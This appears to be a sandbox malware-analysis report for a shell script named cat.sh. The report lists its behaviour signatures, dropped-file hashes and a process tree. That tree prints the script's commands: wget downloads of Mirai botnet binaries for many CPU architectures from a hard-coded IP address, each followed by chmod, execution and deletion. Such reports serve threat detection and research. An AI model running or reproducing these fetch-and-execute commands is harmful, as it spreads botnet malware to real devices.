Analysis

  • max time kernel
    146s
  • max time network
    144s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260127-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260127-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    05/04/2026, 01:55

General

  • Target
    cat.sh
  • Size 3KB
  • Sample260405-cccvascy4s
  • SHA256 ec2913b36b2febcf01a9f097cf4bcb3a35553bdcf331c697f5acc54d59e0dc80
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cat.sh
    /tmp/cat.sh
    1⤵
    • Executes dropped EXE
    PID:712
    • /usr/bin/wget
      wget http://103.130.214.71:1212/mirai.apk -O target
      2⤵
      • Writes file to tmp directory
      PID:720
    • /bin/chmod
      chmod +x target
      2⤵
      • File and Directory Permissions Modification
      PID:737
    • /tmp/target
      ./target
      2⤵
        PID:738
      • /bin/rm
        rm -rf target
        2⤵
          PID:740
        • /usr/bin/wget
          wget http://103.130.214.71:1212/mirai.arm4 -O target
          2⤵
          • Writes file to tmp directory
          PID:742
        • /bin/chmod
          chmod +x target
          2⤵
          • File and Directory Permissions Modification
          PID:743
        • /tmp/target
          ./target
          2⤵
            PID:744
          • /bin/rm
            rm -rf target
            2⤵
              PID:746
            • /usr/bin/wget
              wget http://103.130.214.71:1212/mirai.arm5 -O target
              2⤵
              • Writes file to tmp directory
              PID:748
            • /bin/chmod
              chmod +x target
              2⤵
              • File and Directory Permissions Modification
              PID:749
            • /tmp/target
              ./target
              2⤵
                PID:750
              • /bin/rm
                rm -rf target
                2⤵
                  PID:752
                • /usr/bin/wget
                  wget http://103.130.214.71:1212/mirai.arm6 -O target
                  2⤵
                  • Writes file to tmp directory
                  PID:755
                • /bin/chmod
                  chmod +x target
                  2⤵
                  • File and Directory Permissions Modification
                  PID:783
                • /tmp/target
                  ./target
                  2⤵
                    PID:785
                  • /bin/rm
                    rm -rf target
                    2⤵
                      PID:788
                    • /usr/bin/wget
                      wget http://103.130.214.71:1212/mirai.arm7 -O target
                      2⤵
                      • Writes file to tmp directory
                      PID:790
                    • /bin/chmod
                      chmod +x target
                      2⤵
                      • File and Directory Permissions Modification
                      PID:806
                    • /tmp/target
                      ./target
                      2⤵
                        PID:807
                      • /bin/rm
                        rm -rf target
                        2⤵
                          PID:809
                        • /usr/bin/wget
                          wget http://103.130.214.71:1212/mirai.dbg -O target
                          2⤵
                          • Writes file to tmp directory
                          PID:811
                        • /bin/chmod
                          chmod +x target
                          2⤵
                          • File and Directory Permissions Modification
                          PID:812
                        • /tmp/target
                          ./target
                          2⤵
                            PID:814
                          • /bin/rm
                            rm -rf target
                            2⤵
                              PID:817
                            • /usr/bin/wget
                              wget http://103.130.214.71:1212/mirai.i486 -O target
                              2⤵
                              • Writes file to tmp directory
                              PID:819
                            • /bin/chmod
                              chmod +x target
                              2⤵
                              • File and Directory Permissions Modification
                              PID:844
                            • /tmp/target
                              ./target
                              2⤵
                                PID:845
                              • /bin/rm
                                rm -rf target
                                2⤵
                                  PID:848
                                • /usr/bin/wget
                                  wget http://103.130.214.71:1212/mirai.i686 -O target
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:851
                                • /bin/chmod
                                  chmod +x target
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:854
                                • /tmp/target
                                  ./target
                                  2⤵
                                    PID:855
                                  • /bin/rm
                                    rm -rf target
                                    2⤵
                                      PID:857
                                    • /usr/bin/wget
                                      wget http://103.130.214.71:1212/mirai.m68k -O target
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:859
                                    • /bin/chmod
                                      chmod +x target
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:860
                                    • /tmp/target
                                      ./target
                                      2⤵
                                        PID:861
                                      • /bin/rm
                                        rm -rf target
                                        2⤵
                                          PID:863
                                        • /usr/bin/wget
                                          wget http://103.130.214.71:1212/mirai.mips -O target
                                          2⤵
                                          • System Network Configuration Discovery
                                          • Writes file to tmp directory
                                          PID:865
                                        • /bin/chmod
                                          chmod +x target
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:866
                                        • /tmp/target
                                          ./target
                                          2⤵
                                            PID:867
                                          • /bin/rm
                                            rm -rf target
                                            2⤵
                                              PID:869
                                            • /usr/bin/wget
                                              wget http://103.130.214.71:1212/mirai.mpsl -O target
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:871
                                            • /bin/chmod
                                              chmod +x target
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:872
                                            • /tmp/target
                                              ./target
                                              2⤵
                                                PID:873
                                              • /bin/rm
                                                rm -rf target
                                                2⤵
                                                  PID:875
                                                • /usr/bin/wget
                                                  wget http://103.130.214.71:1212/mirai.sh4 -O target
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:877
                                                • /bin/chmod
                                                  chmod +x target
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:881
                                                • /tmp/target
                                                  ./target
                                                  2⤵
                                                    PID:882
                                                  • /bin/rm
                                                    rm -rf target
                                                    2⤵
                                                      PID:884
                                                    • /usr/bin/wget
                                                      wget http://103.130.214.71:1212/mirai.spc -O target
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:886
                                                    • /bin/chmod
                                                      chmod +x target
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:887
                                                    • /tmp/target
                                                      ./target
                                                      2⤵
                                                        PID:888
                                                      • /bin/rm
                                                        rm -rf target
                                                        2⤵
                                                          PID:890
                                                        • /usr/bin/wget
                                                          wget http://103.130.214.71:1212/mirai.x64 -O target
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:892
                                                        • /bin/chmod
                                                          chmod +x target
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:893
                                                        • /tmp/target
                                                          ./target
                                                          2⤵
                                                            PID:894
                                                          • /bin/rm
                                                            rm -rf target
                                                            2⤵
                                                              PID:896
                                                            • /usr/bin/wget
                                                              wget http://103.130.214.71:1212/mirai.x86 -O target
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:898
                                                            • /bin/chmod
                                                              chmod +x target
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:899
                                                            • /tmp/target
                                                              ./target
                                                              2⤵
                                                                PID:900
                                                              • /bin/rm
                                                                rm -rf target
                                                                2⤵
                                                                  PID:902

                                                              Network

                                                                    MITRE ATT&CK Enterprise v16

                                                                    Replay Monitor

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                                                                    Downloads

                                                                    target

                                                                    • Path /tmp/target
                                                                    • Size 88KB
                                                                    • SHA256 908a90f59dfcead5fcc6a8ad7eaac7799dadf1ebc083306c0b4c5b5ae23c9e63
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                    target

                                                                    • Path /tmp/target
                                                                    • Size 66KB
                                                                    • SHA256 2bfa803d1e3de85337e3014217cd696395b2fcd43df64faf08d486ef430bf50c
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                    target

                                                                    • Path /tmp/target
                                                                    • Size 28KB
                                                                    • SHA256 f99a34410fc5e5de197a0f7927188a653744860a7339eb18993dbe6c5de97c26
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                    target

                                                                    • Path /tmp/target
                                                                    • Size 76KB
                                                                    • SHA256 a037866f92e33a4f8bf7083f211636ff053be45ff7d45fdca24388400323a486
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                    target

                                                                    • Path /tmp/target
                                                                    • Size 162KB
                                                                    • SHA256 86c0beb2fa99d0a65b028c6c23ae4385a4d46479194154d3399b871d86e9e5c1
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH